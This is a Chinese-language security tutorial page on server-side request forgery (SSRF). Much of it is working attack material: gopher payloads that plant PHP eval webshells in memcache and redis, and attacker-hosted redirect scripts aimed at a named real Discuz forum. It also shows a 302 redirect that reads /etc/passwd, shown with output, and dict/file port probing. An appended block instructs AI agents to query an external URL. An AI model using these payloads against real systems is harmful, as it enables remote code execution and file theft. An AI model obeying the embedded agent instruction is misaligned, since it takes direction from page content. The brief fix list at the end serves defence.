# 1.31 服务端请求伪造漏洞

## 漏洞描述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。注意：除了http/https等方式可以造成ssrf，类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务，只不过危害比较小而已。

一个常见的ssrf如下：

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3exye0jvpj31930i078h.jpg)

## 漏洞等级

高危

## 漏洞危害

* 可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;
* 攻击运行在内网或本地的应用程序（比如溢出）;
* 对内网Web应用进行指纹识别，通过访问默认文件实现;
* 攻击内外网的Web应用，主要是使用Get参数就可以实现的攻击（比如Struts2漏洞利用，SQL注入等）;
* 利用File协议读取本地文件。

## 漏洞利用

我们以php为例，php中常出问题的就是curl（file\_get\_contents() fsockopen() curl\_exec()）了，我们先看看它支持哪些协议，关于curl请移步（<https://www.runoob.com/php/func-curl_setopt.html）>

```
root@iZuf6ed90rd4a6nva9qjefZ:~# curl -V
curl 7.47.0 (x86_64-pc-linux-gnu) libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp 
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
```

也就是说这些协议基本我们都是可以进行利用的。

附各个语言的协议支持

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3f2d53gk1j30c80en3zg.jpg)

### 内网探测

关于内网探测我们可以使用dict协议去进行测试，也就是去访问内网中的一些应用端口，比如22、11211等，或者是一些cms的标志性路径，用来识别服务器内网中是否在运行着某些服务。

不存在：

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3eyc2o6z8j31ej0ch3zp.jpg)

存在：

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3eyeh8urgj30m20f4ab4.jpg)

感觉通过时间更明显一些

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3eyeh8urgj30m20f4ab4.jpg)

或者

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3eyktzlr6j30sz0hj0uu.jpg)

或者使用sftp

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3eymti84hj30iy028mx2.jpg)

当然还有tftp和ldap，这里就不再一一演示了。

### 文件读取

这个就没什么了，就是一个file协议读取文件..

![](http://ww1.sinaimg.cn/large/007F8GgBly1g3eyq1nbl9j30ok0bmmxv.jpg)

### getshell

这个主要用在redis、memcache等应用上，多使用gopher协议

#### memcache

> Generate serialize

```php
<?php
    $code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
    echo serialize($code)."\n".strlen(serialize($code));
```

> Output

```
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据
59  //字符串长度
```

> webshell.php

```
<?php
//gopher可以换成如上其它方式
    header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>
```

> back.php

```
<?php
    header('Location: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a');
?>
```

example Discuz

```
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img]
http://bbs.biligame.com/forum.php?mod=ajax&inajax=yes&action=getthreadtypes
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]
http://bbs.biligame.com/data/cache/hello.php
```

#### redis

> Generate serialize

```
<?php
    $a['output']['preg']['search']['plugins'] = '/.*/e';
    $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);';
    $a['rewritestatus']=1;
    $setting = serialize($a);
    echo $setting."\n".strlen($setting);
?>
```

> Output

```
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;}     //序列化数据
173     //字符串长度
```

example Discuz

> <http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44>
>
> <http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes>

### 数据库

#### PostgreSQL

```
> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\​' password=1 port=11211 sslmode=disable','select
version();');
```

#### MongoDB

```
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')
> nc -l 8000 | hexdump -C
> db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)
```

### 利用302跳转

在自己的服务器上部署：

```php
<?php
header("Location: file:///etc/passwd");  
?>
```

服务器请求302跳转，直接读取到服务器本地文件

```
[root@localhost wyssrf]# curl 'http://targetcom/ssrf.php?url=http://yourservere/file.php'

{"ret":0,"data":{"type":1,"title":"root:x:0:0:root:\/root:\/bin\/bash bin:x:1:..."}}
```

## 漏洞验证

* 用抓包工具看请求由客户端发起还是服务端发起（漏洞），如果不是客户端发出的请求，则有可能是，接着找存在HTTP服务的内网地址
* 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
* 通过二级域名暴力猜解工具模糊猜测内网地址
* 直接返回的Banner、title、content等信息
* 利用file协议 读取本地文件等
* bool型SSRF

## 漏洞修复

* 限制协议为HTTP、HTTPS
* 禁止30x跳转
* 设置白名单或限制内网ip


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ninjia.gitbook.io/secskill/web/ssrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
